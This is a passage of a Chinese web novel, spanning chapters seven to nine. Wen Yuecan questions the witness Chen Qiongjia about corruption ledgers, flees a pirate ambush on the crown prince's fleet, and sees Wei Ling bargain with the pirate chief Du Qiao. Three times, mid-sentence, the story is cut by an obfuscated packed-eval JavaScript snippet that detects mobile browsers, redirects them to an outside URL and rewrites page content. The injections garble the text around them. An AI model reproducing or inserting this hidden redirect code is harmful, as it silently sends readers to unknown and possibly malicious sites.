她的心往下一坠。 里面怎么像是在打架似的。 她赶紧敲响房门:“卫陵,是我。” 房间里突然安静了。 温月惭愈发觉得不安,她双手附上房门,正要推开,里头突然又有了声音。 “嘎——” 她推门的手一顿,随后还是缓缓施力,推开了虚掩着的门。 温月惭目瞪口呆。 卫陵正学着她白天的样子,一手抓着白鹅的脖子,一手扣住鹅爪;看到她进来,他似乎是有点尴尬,耳廓浮上一层红晕。 “我在甲板上没看到你,这才……”温月惭开口。 “我等你不到,就想先回来看看它。”卫陵有些僵硬地开口:“本想给它喂点东西,但它一从笼中出来,就总是乱跑。” 温月惭瞥了一眼墙角的两只小碗,失笑道:“你怎么把它养在房间里?” “放在仓房,恐他们照顾不周,又怕有人不知内情会拿它去做吃食……放在后厨,似乎也不太合适。” 卫陵难得有些迷茫,而他手中那只白鹅此刻仰头斜睨着温月惭,时不时雄赳赳气昂昂地扇扇翅膀,让这场景变得更加迷幻。 “罢了。” 温月惭忍着笑:“先放回去吧,我等下让青栀把它带走。” 卫陵点点头道了声好,将白鹅放回笼子里,趁温月惭没注意,状似无意理了理领口。 “陈穹嘉此刻在船上吧。” 温月惭把门重新掩上。 “我正要为此事找你。此人就在太子房间暗室中,而太子今夜与随行臣子议事,虽然走了有一会儿了,但此刻还回不来。” “你若要见陈穹嘉,就尽快。” “私闯太子寝间,我怎么不知道你还敢做这样的事情?”温月惭笑道。 卫陵抬了抬头,与她擦肩:“我敢做的事,你不知道的还多。” 为了不打搅贵人,舱室内没有侍卫巡守;卫陵带着温月惭来到太子房前,推开房门,走了进去。 “任谁都想不到,太子会与陈穹嘉居于一处,他这一举动虽是离谱了些,好用倒是很好用。” 温月惭小声道。 “我也是因为太子命我安顿他,才得以知晓此事。” 卫陵走到书柜旁,扭动上面的一架玉瓶。 柜门发出一声轰响,缓缓向两端分开。温月惭与卫陵对视一眼,抬脚走了进去。 里面灯光很暗,只能看到桌上摆着的烛台,还跃动着一点火光。 坐在桌边的少年猛然抬头,他半张脸隐在黑暗里,只露出一只明亮的眼睛,与温月惭对望。 温月惭停下脚步,暗门在她身后合拢。 这片空间,狭小得令人感到窒息。 她呼出一口气。 “又见面了啊。” “陈穹嘉。” 7. 第七章 叩阍无计 少年沉默不语,冷眼看着温月惭一步一步靠近。 “怎么没见着你怀里那个孩子?” 温月惭左右看了看,似乎是觉得灯光太暗,又从博古架上取了一只烛台。 “太子带走,交由医官医治了。” 陈穹嘉垂眼:“跟我待在一起,对她不好。” “那是你弟弟?还是妹妹?”温月惭撩裙,在他对面坐下。 “妹妹。” 少年借着点微弱的光芒看她:“你是怎么进来的?” 温月惭搁下烛台:“我想做的事,没有做不成的。” 狭小的一方空间,只有高高的墙上,凿出一方小小的窗,洒进来一点稀薄的月光。 温月惭往后仰了仰,仔细打量着少年的面目。 他很瘦,将眉目衬得更加锐利。感受到温月惭的目光,他不卑不亢地迎上,也没有丝毫躲闪。 温月惭微微勾了勾唇。 良久,她开口:“在城门口跪着的时候,在想什么?” 少年的目光很沉静。 “想杀人。” 温月惭托住下巴:“江河日下,叩阍无计,没想过吗?” “我想不了这些。那时候,我手上还有我父母乡亲的血。” “触犯官威,可能会死。” “但是你来了。” 温月惭目光一动,不觉轻笑一声。 “接下来打算怎么做?” 陈穹嘉顿了顿:“若我入京,会遭遇什么?” “按理说,先验证身份籍贯,接着陛下下达谕旨,三法司会审,调查取证。” 陈穹嘉皱眉:“什么叫‘按理说’?” “你这件事,牵扯太广了。” 温月惭手指轻敲桌面:“赈灾款项批发,中间要走四五个流程,才能到陶翀手里。陶翀都敢贪,上面的人又有几个是干净的?” “我父亲那日要杀你,但他有句话说得不错。区区知县,敢做出坑杀之事,无法无天到这个地步,背后势力一定树大根深。” “所以呢?” 陈穹嘉攥紧了拳头。 “若要此事在陶翀身上就了结,不要把火烧到京都,京都贵人会在你入京时就下手。” 温月惭目光沉沉:“只要由头找得好,设法跳过三司会审,让东厂接管此事,基本就可以直接将事情盖棺定论。” “你应该知道东厂是什么地方。” 陈穹嘉指尖被攥得发白:“若我扛住,绝不改口呢?” “你扛不住的。” 温月惭摇头:“就算你到死也未改口也无所谓,只要你进去了,递出来的供词上写什么就已经由不得你了。” 她看着陈穹嘉的反应,有些凝重地往后退了退。 暗室之外忽地传来房门被推开的声音。 温月惭要说的话被生生堵了回去。 二人屏息凝神,看向暗门的方向。 有人进了顾重晋的寝间,顺手关上了门,停在了房内。 温月惭的手按上了桌角,几乎要抠进木桌中。 嗒—— 嗒—— 脚步声再次响起,在房内转了一圈,最后停在暗门面前。 温月惭站起身,往后退了几步,却发现这暗室中除了一方简陋木床,再没有其他可以躲避的地方。 手指抚上玉瓶,指甲与之相触发出清脆的声响。 温月惭一咬牙,正要往床的方向去,外头却又响起了敲门的声音。 “殿下,臣冒昧打搅。” 温月惭脚下动作停了停,与之一起停下的,还有扭动玉瓶的声响。 顾重晋从书架边走开了。 “卫先生,进来吧。” 温月惭长舒一口气,慢慢挪回座位边上。 外头安静了一瞬,紧接着,门扉被关上。 “曲苧县一案,臣有话想说。” 卫陵的声音近了,与他话音一起落下的是椅子被拉开的声音。 顾重晋似乎颇具兴味:“说来听听?” “此案能走到调查这一步,实为不易。三司派钦差调查,会是什么章程?” 顾重晋拨动茶盏:“自然是先给陶翀定罪,接着倒追问责。” “不错,按照规章办事,谁都知道;我知道,殿下知道,京都诸人,自然也知道。” “卫先生想说什么?” “既然知道,就能应对。将罪责都推给陶翀,或是找好替死鬼,就能断尾脱生。陈穹嘉搏命才将此事捅破天,若是轻轻放下,往后百姓再想揭露此类恶行,只怕会更难。” “张廿此人,虽为佥都御史,又被陛下钦点巡按;但图州一行,殿下应该也能看出此人为人。” “你想让我派人随行?” “不是随行,而是暗中调查陶翀其余罪证。” 温月惭细细听着,待到听到这句话时,眼睛倏地一亮。 “凡事都是积少成多,陶翀胆子要是大到这个地步,从前可查之处必然更多。” 温月惭把思绪收回,俯身靠近陈穹嘉,压低声音:“你父亲是曲苧主簿,应是陶翀身边得力之人。 他要告发陶翀,手里应该不会没有任何证据。” 陈穹嘉眼中闪过一丝警惕:“这些东西,在入京都之前,我绝不会将其示人。” 温月惭重新坐下:“我能帮你。” 少年皱眉。 女子神色认真:“你想不入东厂,在京都一鸣惊人,我有办法。” 外面卫陵不知摊开了什么东西,宣纸与桌面摩擦,沙沙作响。 “水灾赈款这条路若被堵死,那就从陶翀其他处下手,查其过往财务,土地,人际往来以及赋税征收,有任何问题,就能顺藤摸瓜,把火线重新接回京都。” 温月惭把烛台往前一推:“你只说,若我要曲苧的账簿,你有是没有。” 陈穹嘉抿了抿唇。 温月惭叹了口气:“东厂是皇帝爪牙,可以刑讯天下之人,若你不想进去,只有一个办法,那就是切中司礼监和百官联系的要害。” “我们要在陶翀的罪名上做文章。” “如今他的罪名是贪墨,若要查,便是循着赈灾款项这条路去追;可是若你能拿出曲苧账册,尤其是土地,赋税和公文往来;找出其中不寻常之处,或许可以再报其‘受贿’。” “受贿……” 陈穹嘉面上出现了一瞬间的茫然。 “不错。若是受贿,这张网会编织得更大。不用急着上报,只要等入京之时再报即可;到时候,这件事情要怎么查,到底怎么给陶翀定罪,就与你我无关了。东厂若硬要揽过此事,是定其贪墨,让上下激愤,还是定其受贿,让京都内外措手不及,把人得罪个干净,怎么选都很难办。” “对他们来说,最好就是不要参和进来,把你交给刑部,走司法程序出来的结果,总归比他们更容易服众。就算刑部为此事为难,也与他们无关。” 烛芯噼啪爆开一朵火花,却映不亮少年眼底的情绪。 房间内外都安静了下来,温月惭听得见少年不太平稳的呼吸。 半晌,他似乎是很艰难的,从嗓子里挤出一个字。 “……有。” “有?” 陈穹嘉抬起头,可是不知为何,总让人觉得他似乎有些悲痛。 “我父亲从前为陶翀做事,曾经私自记过几个账册。” 温月惭往前移了移身子:“在何处。” 陈穹嘉目光中有一瞬间的空白。他的嘴唇开开合合,却像是一具行尸走肉。 “在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367918|183895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母尸身上。” 温月惭追问:“尸身衣衫中?” “不是。” 少年嗓音沙哑。 “尸身里。” 船身行进不稳,忽地倾斜了一下。温月惭伸手扶住桌子,脑中嗡嗡。 “你……” 陈穹嘉一遍一遍地搓着铜质的烛台,几乎要把手指磨下一层血肉。 “我父亲手上有一把专门打制的钥匙,是陶翀的,我不知道,那是什么的钥匙。” “出逃那天,事出紧急,但父亲私自记下的账册还在家中。父亲让我专门回去一趟,将此物取来, 可是我回来的时候,只在密林里找到了妹妹。” 少年的眼睛红得吓人,手指被烛台边缘蹭得血肉模糊,蜡油滴在伤口上,他似乎也毫无知觉。 “我父亲将钥匙吞了下去,可是他们……为了拿到钥匙,剖开了我父母的肚子。” 温月惭手指颤动着,看着眼前的人,久久说不出话来。 “难怪……” 她的声音抖得不成样子。 难怪同镇百姓是被坑杀,可陈穹嘉双亲的尸体,却血迹斑斑。 “那几本账册,是六十三条人命。” 陈穹嘉手上的动作停下了,他低着头,一滴晶莹的水珠顺着脸庞滑下,落在蜡烛上,像是一滴烛泪。 他开口愈发艰难,像在陈述一段无可饶恕的罪孽:“我将它们,装进了我父母的腹中,又给尸体裹上了布条。” 他不再说话了。 恨啊,恨啊! 当那两具血淋淋的尸身摆在他面前,他把账册装进去,细细把尸身裹好,他在恨谁呢? 那些颜色刺眼的布条,确是身为一个人,最后的尊严。 他就这样,拖着两具尸体,来到图州城门前,跪下,喊出了那句“万鬼同哭。” 字字泣血。 她曾问他,跪在城门口时在想什么,可是到了此刻,她却再也问不出口了。 温月惭看着他低垂的双手,觉得眼眶一阵酸疼。 “陈穹嘉。” 她嗓子中溢出呼唤,温柔得像是一声哽咽。 少年抬起头。 “你记得我白日在官渡说的话吗?” “一个人,说了不该说的话,做了不该做的事,付出任何代价都是应当的。” 陈穹嘉看着她在幽暗烛火间有些模糊的脸,忽地有些失神。 女子的面目染上一丝狠厉。 “昭雪那日,我许你,手刃仇人。” “我是一介平民,我手刃不了任何人……我只有这条命,拿出来和他们搏。” “人命值钱吗?” 温月惭站起身,举着的烛台凑近陈穹嘉带着泪痕的脸。 “你若存死志,你双亲便无法合目。你这条命值不值钱,不在别人,在你自己。” “要搏,要杀,你看得见这世间最大的不公,更应敢以身为剑。” 少年眨眼:“你今日来,到底是为了什么。” “要真相。” 温月惭道:“世间众生要一个公道,我也要。” “为什么帮我?” “不是帮你,而是我们正好同路。” 女子微微一笑:“你若渡我,上了岸,我便捎你一程。” 少年染血的拇指擦在烛身上,他呼出一口气,烛火骤然熄灭。 “触犯官威,可能会死。” 女子手中的烛台倾斜,像是碰杯般,铜质的底座相撞,发出令人牙酸的摩擦声。 她手中烛火一曳,陈穹嘉手里的蜡烛又重新燃起火光。 “我说了,我想做的事,没有做不成的。” 她眼中神采奕奕。 “同样,我不让你死,你就不会死。” 8. 第八章 夜袭 图州行进至京都约莫需要十日,船队照常行进,此时只剩两日的路程,就可以进港京都。 入夜,主舰楼船依旧平稳行驶着,温月惭坐在房内书桌前,面前摞起的,是六本沾着暗沉血垢的账册。 “小姐在看什么?灯暗,先歇歇,明日再看吧。” 青栀端着乳酪走进来。 温月惭支着脑袋嗯了一声:“也没什么,就是些卫陵送来的新奇玩意儿。” 她把头抬起来:“今日这么晚了,怎么还没有到水驿?” 青栀走到榻前,将青瓷碗放在炕桌上:“参将大人说是快了,路程远,耽搁了些时候。” 温月惭起身走到榻前坐下,手指刚要触碰到碗身,一声尖鸣骤然划破夜空,刺破窗棂,钻进了她的耳朵里。 “青栀。” 她神色冷了冷:“你有没有听见……哨音?” 青栀凝神侧耳:“似乎是鸟鸣?” 温月惭犹疑了一瞬,还是伸手捻住了瓷勺。 这么一说倒也确实像是鸟鸣。 许是听错了吧。 这个念头刚刚被她打消,整个船身就猛地一抖;温月惭整个人往前倾斜了一下,胸口磕在桌角,让她疼得皱了眉。 “去看看,出了什么事?” 青栀应声出了门,温月惭揉着胸口,总觉得不安。 房门大开,随着水流的波动前后摇摆着,发出微弱的咯吱声。 青栀去了许久也不见回来,温月惭心中的不安愈发浓烈。她顾不得身上只穿了单薄的素色寝衣,起身就走了出去。 走廊上安静得不同寻常,她一路向前,却在拐角处和青栀碰了个满怀。 “小姐……” 青栀的神色看起来有些许慌张。 温月惭撩开女孩额角的一缕乱发:“回话。” “有……有敌情。” “敌情?” “哨船已经前去查探,还有两艘福船随行。” 温月惭眉心一跳,绕开青栀就大步往二楼露台处走去。 外面的风吹得狂乱,毫无章法;温月惭按下胸前飘飞的头发,缓步走到最前端。 船队此刻全部定在了运河之中,前方一片黑暗,乌云遮蔽了月光,水面上一丝光亮也无。 风席卷而来,带着腥潮的气息,黑暗像是巨兽的血盆大口,正在向她张开。 她垂眸向下看,太子,卫陵也已然赶来,站在了船头。 看来刚才并非是她幻听,那声鸣音正是探路哨船的示警。 可是在那一声哨音后,哨船就像是凭空消失了,再也没有任何消息。 无人言语。 所有的目光都聚焦在前方的扑朔迷离。 “有人!” 不知是谁压着声音叫了一声,温月惭瞬间打起精神,眯着眼睛仔细看着前方。 在那片黑雾后,探出了一个船头。 众人松了一口气般。 “是哨船!” 温月惭的手攥栏杆攥得更紧。 不对。 哨船作为探路先锋,行进速度很快,可是这艘船,分明是在顺着水波一点一点往前挪。 那艘船像是幽冥鬼魅般从幽暗中钻出,在水面上飘飘荡荡,了无生机。 过了不久,其他人似乎也觉察到了不对,窃窃的交谈声又停了下来。 那艘船越靠越近,越靠越近,温月惭看着它的面目逐渐清晰,手心变得湿润。 “那是什么……” 她不由自主地,嗫嚅出声。 哨船的桅杆上,像是挂着一张破布。 那张破布左右飘摆着,怎么看怎么诡异,温月惭一颗心在胸腔里跳得越来越快,几乎要蹦出嗓子来。 那是一张布吗? 滴答—— 滴答—— 不知何处,传来水滴落在木板上的声音。 那张布上似乎也不停往下滴落着什么,暗色的,刺目的。 红色。 温月惭眼睛骤然瞪大,背后起了一层冷汗。 “是人!” 船头有人惊叫出声,楼船上倏地混乱起来。 那艘哨船上所有的水兵横死在船上,那船头桅杆上,一个水兵被扎穿了颈部,如一个破娃娃一样悬挂在顶端。 温月惭努力平复有些粗重的呼吸,她垂下眼睛,正好与露台下,转过身的卫陵对上目光。 唰—— 黑暗被彻底撕裂,不远处亮起了一点火光。 那一点明亮出现后,火把接二连三地被点燃。 一点,两点,三点…… 火光连片,那处霎时亮如白昼,最前端飘扬着的赤红旗帜狠狠扎进温月惭的眼睛里。 水匪。 船舰一览无余,这分明是蛰伏在黑暗中的一只庞然大物。 这已经不是一般的江湖水匪。 这甚至,是一支可以媲美官方的水师。 那两艘福船就停在对面主舰前方,显得那般渺小,不值一提,恐怕也是凶多吉少。 咚,咚咚咚咚咚—— 楼船前座舰上传来急促的鼓声,随之而来的是沉厚的角声。 舰船的阵型快速变换,由人字形的雁翎阵转为横向排布,封锁河道。 对面岿然不动。 正在参将决意下令进攻时,对面的火把忽地纷纷往下投去。温月惭正觉得奇怪,定睛一看,却是战舰上放下了快艇,水匪正纷纷往快艇上转移,做冲锋准备。 又一声角声极具规律地响起,主舰上忽地爆出一颗彩弹。 几艘战船上纷纷传来轰鸣声,弗朗机炮调转方向,指向水匪。 一道鼓声落下,炮台齐齐迸发出巨响。 水匪乘坐快艇,速度快,目标更小,炮战对他们的损伤太小。顾重晋指尖敲在护栏上:“近战。” 近战。 温月惭站得高,目光横扫过河面上的水匪。这些人几乎都是二,三十人为一队,彼此间保持间隔相当大,整个阵型看上去颇为松散,却透露着说不上来的诡异之感。 主舰船头升起一面黑旗,福船后快艇立即上前。 “等等!” 温月惭忽地高喝一声,台下甲板上众人纷纷仰头。 “他们队形看似松散,实则一旦有一队被攻,左右两队可以迅速包抄,不可直攻!” 卫陵皱了皱眉:“蝴蝶阵。” 顾重晋扭头看他。 “十二人为一队,前面二人执狼筅遮蔽干扰,后方执长枪,主力正面迎敌,左右两翼快速包抄合围。” 卫陵回视:“殿下,要尽快告知主舰。” 顾重晋挥了挥手,楼船下小艇快速向前方驶去,没一会儿,艇上兵士按照卫陵所说快速调整队形,向前冲去。 火炮声不绝,所有人的注意力都集中到了前方,只留了两艘福船护卫后方。 血水注入河水中,飘飘渺渺如画卷,有人游过,就把那抹残忍的艳丽彻底搅碎。 水匪将短刀叼在口中,浸在水中,缓缓靠近辎重船。 船上灯光幽微,借着夜色掩蔽,水匪靠近侧舷便利落翻身上船,待船员尚未回过神时,就已经被捂住口鼻,割断喉咙。 夜幕中响起好几声皮肉被撕裂的钝响,接着又被淹没在枪炮声中。 温月惭在满目疮痍中愈发觉出此事可疑,她调转目光向四周,却敏锐地捕捉到了那些异样的水波。 “有人靠近!” 楼船上有官员及其家眷,还有婢女侍者,闻言都不住惊呼。 “殿下!后方辎重船在往楼船上搭梯!” 后方士兵回报,卫陵瞳孔猛地一缩:“糟了!” 温月惭转过身,绕下楼梯,跑到甲板上,向后方看去。 水匪口中的短刀被血水滋养得极为明亮,正闪着嗜血的寒芒。 前方猛攻,后方偷袭,左右伏击。 先将主力引去前方,再从后方,侧方登船,不仅算无遗策,并且对船队的构造,行进路程,时间都极为熟悉。 她切齿:“分明是有备而来。” “火铳!” 顾重晋下令,左右立刻对潜伏的水匪进行攻击,船上卫兵也尽数向后方涌去。 温月惭后退了两步,毫不犹豫地转身向舱内奔去。 “殿下,行至此时,唯有弃船。” 卫陵神色严肃。 温月惭没命般往楼上跑去,钻进顾重晋的寝间,按照那日卫陵的手法,将玉瓶扭开。 书架再一次振颤着向两侧分开,她快步走进去。 陈穹嘉看到她这个模样,面上闪过一丝惊诧。可是还不待她多问,温月惭攥住他的胳膊,拉着他就往外走。 “什么事?” “走。” 温月惭狠狠推了他一把:“下楼,去找卫陵,跟他们一起走。” “为……” “走!” 她骤然把声音拔高,陈穹嘉愣了愣,闭上嘴,转身就要往下走。 “等下。” 她突然出声。 陈穹嘉脚步一停,温月惭几步便赶了上来:“告诉卫陵,他们有备而来,对我们的情况太清楚了,不要再恋战,立刻调船,全部转移,保命要紧。” 她深吸一口气:“待后方水匪登船,把他们全部引进舱内,把前后大门锁死。” “那你呢?” 温月惭推着他转过身:“照我说的做。” 陈穹嘉不再多问,立刻走下楼梯,走出船舱。 “本宫已经升旗调船,两具棺椁也已经拉出。现在得派人上去,把陈穹嘉放出来。” “我在这里!” 陈穹嘉气喘吁吁。 卫陵有些意外,但是不用多想,也能猜到是谁把他放了出来。 他感到有些不妙,抬头一瞧,果然,露台上早就没了温月惭的身影。 “温月惭呢?” 他上前几步,盯住陈穹嘉。 “她说,不要恋战,尽快调船。” 卫陵突然觉得很烦躁,却不知是因何而生气:“这我知道。” “她还说,水匪上船进舱,把前后大门锁死。” 陈穹嘉的眼神狠得像一只孤狼:“卫陵,她还在里面。” “卫先生,船来了!” 前面不知是谁叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367919|183895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,卫陵却毫无反应。 半晌,他开口:“照她说的做。” 陈穹嘉不可置信:“什么?” “我说,照她说的做。” 说罢,他便上前,要去关上前门,却被陈穹嘉一把按住:“我说,她还在里面,你们是都疯了吗?” “我好得很。” 卫陵一把将他甩开,上前关上门,把铁链缠紧。 “把此处关好,水匪在甲板上见不到人自然会进舱。” 见卫陵把锁扣上,陈穹嘉冷静了些许:“那我留下来,关后门。” “你不行。” 男人转身,推着陈穹嘉往下船之处走去:“你是关键证人,必须活下来。今天的事情,说不定就是冲你来的。” 其他人已经全部上了福船,最后一名侍婢扶住陈穹嘉,正要拉他上船,他却骤然握住了侧舷的木杆。 “那谁来做这件事。” 卫陵看了看侍婢朝他伸过来的那只手,声音沉静。 “我来做。” 不能再耽搁,后方死伤大半,防线几乎被全线攻破。陈穹嘉被拉下船,福船行驶开来,船面上再次恢复平静。 水匪登上楼船,左右巡视了一圈,却没有看见任何人影。 为首的水匪抬手打手势,示意进舱搜查,几人快速聚拢,见前方无法进入,更确信舱内一定有人,便往后方靠去。 卫陵扒在船沿的手一施力,霎时间翻身上船。 所有人都聚进舱内后,舱门无声地合拢,外面,有人一圈一圈将铁链缠死,像是关上了生的大门。 门内,水匪似乎急切想要找到什么,也并未注意到脚底的湿滑。 温月惭躲在阶梯下的暗格中,左手边放着一个书箱,右手端着一根蜡烛。 她侧耳听着外面的动静,确认水匪全部往前搜查房间了,便从暗格中钻出。 一个空掉的头油瓶子随着她的动作,骨碌碌地滚了出来。 她拎着那个书箱,把脚步放得很轻。 蜡烛从她手中掉落,地下是她用头油早已画好的火焰蔓延的轨迹;因此,当火焰与散发着淡淡花香的油脂相触,烈火一触即燃,有了木制地板和房门的加持,迅速铺开去。 “走水了!” 有水匪高声叫道。 温月惭立刻转身往楼上跑去。 “那边有人!” 舱内前后都有楼梯,水匪引起火无法直接追她而来,却可以从另一边直接将她堵住。 不过没关系,只要她跑得够快,从二楼中间的舱门上到船舱的最顶上,再锁死那门,就可以跳船逃生,还可将水匪困在舱内。 “上去看好中间舱门,她要跳船!” 可恶! 温月惭看到迎面追过来的水匪和还有一定距离的舱门,脚步顿了顿。 来不及了。 进门,再关门,他们一定能追上来。 想到这,温月惭手上一用力,将那挂在门上的铁锁一下子扣实。 火焰一路追赶她而来,已经燎着了她寝衣的衣摆,她无路可退,余光却瞟到了边上大开着的房门。 这是太子的寝间。 也是整艘楼船上,唯一有可以观景的窗户的房间。 天无绝人之路,她一咬牙冲了进去,推开了那扇窗户。 这一推,她却犹豫了。 高。 且船面上的走廊太过狭小,她没有把握,这一跳,到底是不是一条生路。 大火灌进房间,她外衫的袖摆,衣后被烧得面目全非。 嗖—— 一个暗器忽地蹭着她的脸颊飞过去,直直钉在了窗框上。 温月惭一惊,扭头朝楼下看去,却看见了一件青色的披风。 “卫陵!” 她心头一喜,忙出声唤道。 男人正举着那柄扇子,满目杀意,听到她的声音,眼中情绪却微微柔和了一些。 他小跑几步,来到温月惭正下方。 温月惭举起书箱,从二楼丢了下去,卫陵稳稳接下,放在一边,抬头时,却见温月惭正在脱着寝衣的外衫。 不把这件衣服脱去,等下火就会烧着她里面的裙子,还会把卫陵也点着。 快到夏季,温月惭寝衣的外衫下,只有一件袔子。 她将快被烧成灰的衣服丢在地下,用手撑着窗框,往外跨出一条腿。 整个人都移到窗外后,她的腿才后知后觉地有些发抖。 她战战兢兢地往下一看,男人就在她下方,朝她伸出了双臂。 温月惭深吸一口气,闭着眼睛扑了下去—— 夜风割过她的手臂,下一瞬,带着冷意的松木香将她包裹,她的手划过男人的耳廓。 她落入了一个温暖的怀抱。 卫陵不知何时已经脱下了外衫,在护住她脑袋和腰间后,顺手往她身上一披,遮盖住了那雪白的肩臂。 他将温月惭扣在怀里,抬头往楼上看了一眼。 大火封住了太子寝间的大门,此刻舱内不断传出哀嚎。 他安抚似的,无意识摩挲着温月惭的后颈,淡然开口。 “走。” 9. 第九章 我来作质 温月惭的手揪紧了卫陵的衣衫,一颗心在胸口砰砰直跳,怎么都停不下来。 那纤长的眼睫微微颤动着。 她轻轻呼出一口气,松开卫陵,转头看了那火光跳动的窗口,眼神慢慢变得坚定。 “走吧。” 她俯身捡起书箱,拉住卫陵的手腕,往舷梯处跑去。 梯下有众人离开时为他们留下的小艇,二人快速上了艇,向靠在河畔阴影处的福船划去。 身后的楼船已经陷入火海之中,时不时从中传出惨烈的叫声。温月惭没有回头,只是等着小艇离福船越来越近。 “持白刃的水匪所剩无几了,但前面状况不太好,恐怕这边很快会来下一波人。” 顾重晋亲自上来搭住卫陵的胳膊,将他拉上船。 “他们在上游,已经占据上风,又是情报先达,还是先避退,再做打算。” 卫陵一边说着,一边扭头将袖口递给温月惭,让她借力上船。 “卫先生可有什么办法。” “我们现在处在绗河中段,狭窄河道较多,若要暂避实则对我们是有利的。既然无法前行,那就后退。” “恐怕会引来追击。” 卫陵沉思稍许。 “以我为首,假意突围。” 顾重晋愣了愣:“你去吸引火力?” “是。” 卫陵转过身:“他们耗费这么多心思,绝不是只为劫财,那么看到有舰船意图突围时,一定会首先将该船拦下。你们可以趁机避退,待到转入狭窄河道时,夜黑风高,水匪忧心被伏击,今夜会暂且放弃追击。” “你会被俘。这些匪徒的手段,你不知道吗?” “我大概猜得到,他们是为了什么;既然拿得住他们的七寸,便不必忧心。” 他目光扫过温月惭:“今夜脱险后,不要耽搁,即刻安排其他路径送殿下回京,求援。” 温月惭攥了攥衣角,看着男人转身要下船,嘴还是比脑子快了一步。 “卫居远。” 卫陵停下动作,转头看向她。 她嘴唇开合了几回,看着前方战况焦灼,最后只憋出一句:“我看那鹅挺喜欢你的,你早点回来,我怕别人照顾不好它。” 顾重晋瞥了她一眼,立即离开派人去向主舰传信。 卫陵脸上的神情空白了一瞬,随后染上点细微的笑意。 “担心我?” 温月惭像是被踩了尾巴的猫,立刻炸了毛,冷笑着:“我看你这件衣服是蝉翼纱的,不便宜吧。你要是不回来,我正好就昧下了,你自己看着办吧!” 男人整个转了过来,故意逗她似的:“你上辈子自己说的,死都不会放过我,那我要是回不来,岂不是正合你意?” “那你也得死在我手上才行;那帮杂碎算什么东西,你要是被他们弄死了,便宜了他们,也便宜了你。” 温月惭拢了拢那件青色的外衫。 已经有快艇靠近福船来接卫陵,男人眼底情绪晦暗不明,缠绕在温月惭身上。半晌,他轻笑一声:“知道了。” 男人乘船走远,前方再次传来沉闷的鼓声,船队的快艇迅速变换队形,向后方退去。 一艘福船从主舰后绕了出来,行驶到最前方,整个阵型像是利箭的箭尖,锋利无双。 角声冲破天际,前方舰队如离弦之箭,霎时冲了出去。 箭尖冲散了水匪的阵型,直刺其心腹。炮船开始向冲锋船艇发动炮击,可是这支队伍移动极快,待到靠近之时,机炮已经无法起用。 福船撞入水匪阵型后方,却依旧一刻未停,它身后的快艇迅速向两边散开,将水匪的沙船围住,为福船开辟出一条坦荡大路。 “他们要突围!” “拦住福船!” 水匪快艇调转船头,追赶福船而去。 卫陵跪坐在船舱中,听着外面的声音,轻声吐出一个字。 “慢。” 福船速度渐缓,水匪很快便从侧翼包抄而来,拦在了福船正前方。 水面上暂且安静了下来,那些水匪始终没有上船,卫陵等了许久,才听见了外面的一阵骚动。 “舵主,这上面应该是他们的头子和那个告状的小子,想先跑为上。” 卫陵抬眼,船舱中进来一个男人,看着倒是很斯文。 这人见着卫陵的一瞬,眼中闪过一丝惊诧。 卫陵微微一笑。 “这位就是舵主了。” “不要伤人,我这有笔生意,舵主做不做?” 船身轻飘飘地左右摇晃着,那位被称作“舵主”的男人仰起头,露出下巴上泛青的胡茬。 那眼神冷得像是在看一头待宰的牲畜。 半晌,他转过身,只丢下三个字。 “做掉他。” 站在他身后的炮头应声往前,掂了掂手中的刀。 卫陵形状漂亮的眼睛轻轻抖了抖。 “死了,剥了皮,给他们送过去。” 炮头举起刀,正要往下劈去,卫陵手中折扇往上一抬,利器破空声霎时响起。 一枚毒镖扎穿了炮头的脖颈。 他壮硕的身躯摇摇晃晃,手中的刀砰的一声落在地上。 舵主闻声扭头,在看清炮头脖子上的血洞后整个人如遭雷击般一怔,重新看向卫陵。 卫陵放下手中扇子。 “给人做刀也没什么意思,死了也算解脱。” 舵主看向他的眼神里多了几分深意。他缓步上前,抽出腰间短刀,撂在了桌上。 “继续说。” 卫陵斜眼看着那把刀。 “前堵后劫,先劫辎重,再攻楼船,对船队了如指掌。” 他接着道:“我们刚离开衢州官渡一日,尚未到下一个水驿,在此处堵住官船,不会有水师支援;对船队行进路线,时间一清二楚。” “辎重船上多为物资和金银,你的人登船却对这些东西视若无睹,只管楼船,明显不为劫财,而是为特定目标而来。” 他抬眼:“这趟行程有些特殊,也就不难猜你们求的是什么。” “舵主,为京都哪位大人做事,替哪位大人灭口?” 舵主嗤笑一声,撩袍在卫陵对面坐下:“小子,知道的太多,也未必是什么好事。” 卫陵将扇子收入袖口:“怎么称呼?” “杜乔。” “杜舵主。” 卫陵点点头:“虽为湖寇,装备却精良,舵主和水师交往密切,应是深得那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今夜船队若是覆灭,你就是砧板上的鱼肉,任人宰割。与殿下联手,往后你的买卖照常做。舵主,做个决断吧。” 常年在水上的生活造就了杜乔眼中那份令人心底发寒的杀意,他盯着卫陵,忽地哼了一声,握上了刀尖。 “朋友。” 他将这两个字念得很重。 